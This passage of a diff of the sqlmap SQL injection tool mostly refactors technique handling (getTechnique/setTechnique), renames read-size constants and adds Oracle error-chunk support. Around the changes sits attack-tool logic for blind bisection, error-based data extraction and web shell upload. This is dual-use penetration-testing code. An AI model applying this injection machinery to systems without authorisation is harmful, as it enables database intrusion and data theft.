host = request.get_host() if hasattr(request, "get_host") else request.host
if not host:
raise _urllib.error.URLError("no host given")
if request.has_data(): # POST
data = request.get_data()
if request.data is not None: # POST
data = request.data
if not request.has_header("Content-type"):
request.add_unredirected_header(
"Content-type",
+4 -2
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import re
from lib.core.common import extractRegexResult
@@ -21,11 +23,11 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DIFF_TOLERANCE
from lib.core.settings import HTML_TITLE_REGEX
from lib.core.settings import MIN_RATIO
from lib.core.settings import LOWER_RATIO_BOUND
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_RATIO
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import LOWER_RATIO_BOUND
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData
+25 -22
View File
@@ -41,8 +41,8 @@ from lib.core.common import getRequestHeader
from lib.core.common import getSafeExString
from lib.core.common import isMultiThreadMode
from lib.core.common import logHTTPTraffic
from lib.core.common import pushValue
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomizeParameterValue
from lib.core.common import randomInt
from lib.core.common import randomStr
@@ -52,10 +52,10 @@ from lib.core.common import safeVariableNaming
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import stdev
from lib.core.common import wasLastResponseDelayed
from lib.core.common import unsafeVariableNaming
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDelayed
from lib.core.compat import patchHeaders
from lib.core.compat import xrange
from lib.core.convert import getBytes
@@ -92,19 +92,19 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import EVALCODE_ENCODED_PREFIX
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
from lib.core.settings import META_REFRESH_REGEX
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TIME_RESPONSES
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import PERMISSION_DENIED_REGEX
from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE
@@ -119,8 +119,8 @@ from lib.core.settings import WARN_TIME_STDEV
from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders
from lib.request.basic import processResponse
from lib.request.direct import direct
from lib.request.comparison import comparison
from lib.request.direct import direct
from lib.request.methodrequest import MethodRequest
from thirdparty import six
from thirdparty.odict import OrderedDict
@@ -211,15 +211,18 @@ class Connect(object):
if not conn:
break
else:
_ = conn.read(MAX_CONNECTION_CHUNK_SIZE)
try:
part = conn.read(MAX_CONNECTION_READ_SIZE)
except AssertionError:
part = ""
if len(_) == MAX_CONNECTION_CHUNK_SIZE:
if len(part) == MAX_CONNECTION_READ_SIZE:
warnMsg = "large response detected. This could take a while"
singleTimeWarnMessage(warnMsg)
_ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _)
retVal += _
part = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start), part)
retVal += part
else:
retVal += _
retVal += part
break
if len(retVal) > MAX_CONNECTION_TOTAL_SIZE:
@@ -294,7 +297,7 @@ class Connect(object):
post = _urllib.parse.unquote(post)
post = chunkSplitPostData(post)
websocket_ = url.lower().startswith("ws")
webSocket = url.lower().startswith("ws")
if not _urllib.parse.urlsplit(url).netloc:
url = _urllib.parse.urljoin(conf.url, url)
@@ -346,8 +349,8 @@ class Connect(object):
pass
elif target:
if conf.forceSSL and _urllib.parse.urlparse(url).scheme != "https":
url = re.sub(r"(?i)\Ahttp:", "https:", url)
if conf.forceSSL:
url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url)
url = re.sub(r"(?i):80/", ":443/", url)
if PLACE.GET in conf.parameters and not get:
@@ -434,7 +437,7 @@ class Connect(object):
post = getBytes(post)
if websocket_:
if webSocket:
ws = websocket.WebSocket()
ws.settimeout(timeout)
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
@@ -631,14 +634,14 @@ class Connect(object):
if responseHeaders:
logHeaders = getUnicode("".join(responseHeaders.headers).strip())
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time())
skipLogTraffic = True
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE])
if not multipart:
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
@@ -815,12 +818,12 @@ class Connect(object):
if responseHeaders:
logHeaders = getUnicode("".join(responseHeaders.headers).strip())
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time())
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE])
if not multipart:
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+24 -15
View File
@@ -19,6 +19,7 @@ from lib.core.common import expandAsteriskForColumns
from lib.core.common import extractExpectedValue
from lib.core.common import filterNone
from lib.core.common import getPublicTypeMembers
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
@@ -31,6 +32,7 @@ from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import setTechnique
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.data import conf
@@ -88,10 +90,17 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
if value is not None:
return value
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None:
msg = "multi-threading is considered unsafe in "
msg += "time-based data retrieval. Are you sure "
msg += "of your choice (breaking warranty) [y/N] "
kb.forceThreads = readInput(msg, default='N', boolean=True)
if not (timeBasedCompare and kb.dnsTest):
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads):
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
expression = "SELECT %s FROM (%s)" % (field, expression)
@@ -153,9 +162,9 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
parameter through a bisection algorithm.
"""
initTechnique(kb.technique)
initTechnique(getTechnique())
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
query = agent.prefixQuery(kb.injection.data[getTechnique()].vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
count = None
@@ -300,10 +309,10 @@ def _goBooleanProxy(expression):
Retrieve the output of a boolean based SQL query
"""
initTechnique(kb.technique)
initTechnique(getTechnique())
if conf.dnsDomain:
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
query = agent.prefixQuery(kb.injection.data[getTechnique()].vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
output = _goDns(payload, expression)
@@ -311,13 +320,13 @@ def _goBooleanProxy(expression):
if output is not None:
return output
vector = kb.injection.data[kb.technique].vector
vector = kb.injection.data[getTechnique()].vector
vector = vector.replace(INFERENCE_MARKER, expression)
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
output = hashDBRetrieve(expression, checkConf=True)
@@ -394,7 +403,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
setTechnique(PAYLOAD.TECHNIQUE.UNION)
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
@@ -426,7 +435,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
singleTimeWarnMessage(warnMsg)
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY)
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
@@ -439,7 +448,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
@@ -454,9 +463,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
setTechnique(PAYLOAD.TECHNIQUE.TIME)
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
@@ -498,12 +507,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
else:
for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
_ = getTechniqueData(technique)
if _ and "stacked" in _["title"].lower():
kb.technique = technique
setTechnique(technique)
break
expression = cleanQuery(expression)
+5 -5
View File
@@ -9,21 +9,21 @@ import io
import time
import types
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.common import getHostHeader
from lib.core.common import getSafeExString
from lib.core.common import logHTTPTraffic
from lib.core.common import readInput
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import REDIRECTION
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS
from lib.core.settings import MAX_TOTAL_REDIRECTIONS
@@ -101,7 +101,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
redirectMsg += logHeaders
if content:
redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE])
redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE])
logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)
+1 -1
View File
@@ -10,8 +10,8 @@ from __future__ import print_function
import sys
from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import dataToStdout
from lib.core.common import getSQLSnippet
from lib.core.common import isStackingAvailable
from lib.core.common import readInput
+1 -1
View File
@@ -598,7 +598,7 @@ class Metasploit(object):
except select.error as ex:
# Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
if (ex[0] if six.PY2 else ex.errno) == errno.EINTR:
if ex.args[0] == errno.EINTR:
continue
else:
return proc.returncode
+3 -3
View File
@@ -8,9 +8,9 @@ See the file 'LICENSE' for copying permission
import os
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import isStackingAvailable
from lib.core.common import readInput
from lib.core.common import unArrayizeValue
@@ -18,8 +18,8 @@ from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import OS
from lib.core.exception import SqlmapFilePathException
@@ -109,7 +109,7 @@ class UDF(object):
return output
def udfCheckNeeded(self):
if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:
+4 -3
View File
@@ -20,10 +20,11 @@ from lib.core.common import getAutoDirectories
from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import ntToPosixSlashes
from lib.core.common import getTechnique
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile
from lib.core.common import parseFilePaths
from lib.core.common import posixToNtSlashes
@@ -147,8 +148,8 @@ class Web(object):
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
if isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if isTechniqueAvailable(getTechnique()):
where = kb.injection.data[getTechnique()].where
if where == PAYLOAD.WHERE.NEGATIVE:
randInt = randomInt()
+1 -1
View File
@@ -15,8 +15,8 @@ from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import pushValue
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import wasLastResponseDelayed
+25 -26
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import re
import threading
import time
@@ -19,8 +21,9 @@ from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
from lib.core.common import getCounter
from lib.core.common import goGoodSamaritan
from lib.core.common import getPartRun
from lib.core.common import getTechnique
from lib.core.common import goGoodSamaritan
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
@@ -37,11 +40,11 @@ from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapThreadException
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import MAX_BISECTION_LENGTH
from lib.core.settings import MAX_REVALIDATION_STEPS
from lib.core.settings import NULL
@@ -78,7 +81,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
@@ -163,12 +166,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta:
progress = ProgressBar(maxValue=length)
if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare or conf.forceThreads:
if not timeBasedCompare or kb.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
@@ -192,7 +191,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
with hintlock:
hintValue = kb.hintValue
if payload is not None and hintValue is not None and len(hintValue) >= idx:
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
@@ -203,13 +202,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
forgedPayload = agent.extractPayload(payload)
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
kb.hintValue = ""
return None
@@ -230,13 +229,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if result and timeBasedCompare and kb.injection.data[getTechnique()].trueCode:
result = threadData.lastCode == kb.injection.data[getTechnique()].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[getTechnique()].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
return result
@@ -271,7 +270,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(charTbl[0])
@@ -340,10 +339,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
unexpectedCode |= threadData.lastCode not in (kb.injection.data[getTechnique()].falseCode, kb.injection.data[getTechnique()].trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
@@ -441,7 +440,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
if result:
candidates = [_ for _ in candidates if _ & mask > 0]
@@ -453,7 +452,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if candidates:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(candidates[0])
@@ -571,12 +570,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# One-shot query containing equals commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = kb.injection.data[kb.technique].vector
query = kb.injection.data[getTechnique()].vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
# Did we have luck?
if result:
@@ -595,12 +594,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
query = kb.injection.data[kb.technique].vector
query = kb.injection.data[getTechnique()].vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
# Did we have luck?
if result:
@@ -680,7 +679,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
def queryOutputLength(expression, payload):
"""
+16 -12
View File
@@ -21,6 +21,7 @@ from lib.core.common import extractRegexResult
from lib.core.common import firstNotNone
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import getTechnique
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
@@ -45,8 +46,8 @@ from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER
from lib.core.exception import SqlmapDataException
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
from lib.core.settings import NULL
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import ROTATING_CHARS
@@ -74,7 +75,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
@@ -82,8 +83,11 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
if Backend.isDbms(DBMS.ORACLE):
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
else:
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
@@ -112,7 +116,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
@@ -120,7 +124,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
vector = kb.injection.data[getTechnique()].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
@@ -131,7 +135,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
incrementCounter(getTechnique())
if page and conf.noEscape:
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
@@ -172,7 +176,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
if offset == 1:
retVal = output
else:
@@ -244,7 +248,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
if not kb.threadContinue:
return None
if not suppressOutput:
if not any((suppressOutput, kb.bruteMode)):
if kb.fileReadMode and output and output.strip():
print()
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
@@ -295,7 +299,7 @@ def errorUse(expression, dump=False):
SQL injection vulnerability on the affected parameter.
"""
initTechnique(kb.technique)
initTechnique(getTechnique())
abortedFlag = False
count = None
@@ -449,7 +453,7 @@ def errorUse(expression, dump=False):
value = _errorFields(expression, expressionFields, expressionFieldsList)
if value and isListLike(value):
if len(value) == 1 and isinstance(value[0], six.string_types):
if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))):
